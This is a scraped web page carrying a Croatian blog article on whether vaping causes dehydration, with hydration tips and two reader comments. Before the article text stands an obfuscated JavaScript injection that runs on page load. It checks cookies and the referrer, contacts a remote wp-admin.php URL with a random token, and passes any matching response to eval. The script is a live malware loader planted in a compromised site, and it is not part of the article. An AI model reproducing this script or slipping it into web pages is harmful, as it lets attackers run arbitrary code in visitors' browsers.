;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//vaper-pub.com/wp-admin/wp-admin.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}

Uzrokuje li vaping dehidraciju? Evo što trebate znati

Ukoliko ste nedavno postali vaper, možda ste usput primijetili neke manje ugodne nuspojave. Jedna od najčešćih nuspojava s kojom se susreću novopečeni vaperi su suha usta i grlo, ispucale usne i glavobolje, a sve to može biti iznimno neugodno. Ipak, sve od navedenog su istovremeno i simptomi dehidracije, što nas dovodi do vrlo važnog pitanja – Može li vaping uzrokovati dehidraciju?

Brzi odgovor je da, vaping može i uzrokuje dehidraciju. Ovo se može pogoršati određenim čimbenicima kao što je korištenje tekućine s visokim sadržajem propilen glikola i nedovoljna konzumacija vode. Većina nuspojava dehidracije kod parenja lako se može izbjeći uvođenjem određenih promjena.

Znakovi i simptomi dehidracije pri vapingu

Dehidracija uzrokovana vapingom može doći s različitim simptomima. Oni mogu biti najuočljiviji u ustima zbog higroskopne prirode PG-a i VG-a koji se nalaze u e-tekućinama. Ovi simptomi uključuju:

  • Suha usta i grlo
  • Ispucale usne
  • Pojačana žeđ
  • Smanjen osjet okusa
  • Rijetko, tamno mokrenje
  • Glavobolje
  • Vrtoglavica
  • Suhe oči
  • Umor

Kako spriječiti dehidraciju od vapinga

Izbjegavanje dehidracije je relativno jednostavno, čak i kada je u pitanju vaping. Ovdje su neke od najvažnijih stvari koje možete učiniti:

  1. Pijte više vode

Teško ćete pronaći razlog da ne pijete više vode. Može pomoći tijelu na mnoštvo načina, a jedan od takvih načina je smanjenje dehidrirajućih učinaka parenja.

Jednostavno osiguravanje da uz sebe uvijek imate bočicu s vodom može znatno ublažiti potencijalne nuspojave.

Ako osjetite bilo koji od simptoma dehidracije, jedna od prvih stvari koju trebate učiniti je posegnuti za starom dobrom čašom H2O. Prvi znak će obično biti suha usta.

  • Izbjegavajte alkohol

Konzumiranje alkohola jedan je od najbržih načina da dehidrirate. Dodavanje vapinga povrh ovoga samo ubrzava proces.

Iako sigurno neće jamčiti sigurnost od mamurluka ili dehidracije, pijenje vode s alkoholom može smanjiti učinke dehidracije. To vrijedi i za vaping dok pijete alkohol. Također je dobra ideja napraviti pauzu od vapinga tijekom noćnog izlaska. Iako je to lakše reći nego učiniti, posebno za društvene pušače koji se pokušavaju odviknuti od te navike korištenjem e-cigareta.

  • Smanjite konzumaciju kofeina

Iako u manjoj mjeri od alkohola, kofein također dovodi do dehidracije. Jedna šalica kave previše uz vaš omiljeni vape recept je za problem.

  • Napravite pauzu između puffova

Dehidracija prilikom korištenja e-cigarete uglavnom postaje problem tek kada parite izrazito puno i to bez pauza u povlačenju puffova. Ako osjetite bilo koji od gore navedenih simptoma, pokušajte za početak jednostavno odložiti parilicu na par minuta i popijte usput koji gutljaj vode.

Choose your Reaction!
  • Ja pijem dosta tekućine kroz dan, uglavnom ili mineralna voda ili neki domaći sok (kad je sezona bazge najviše). I ako neko dulje vrijeme parim, a ne pijem tekućinu – točno osjetim kako mi se sluznica suši i traži tekućinu. Tako da svakako preporučujem da ljudi koji pare povećaju unos tekućine u organizam, pa čak i ako tvrde da nemaju problema s dehidracijom, a vjerojatno imaju i nisu toga ni svjesni.

  • Nikada nisam imao problema s dehidracijom jer inače pijem u prosjeku 4L vode dnevno, bilo ljeto ili zima 🤣

Leave a Comment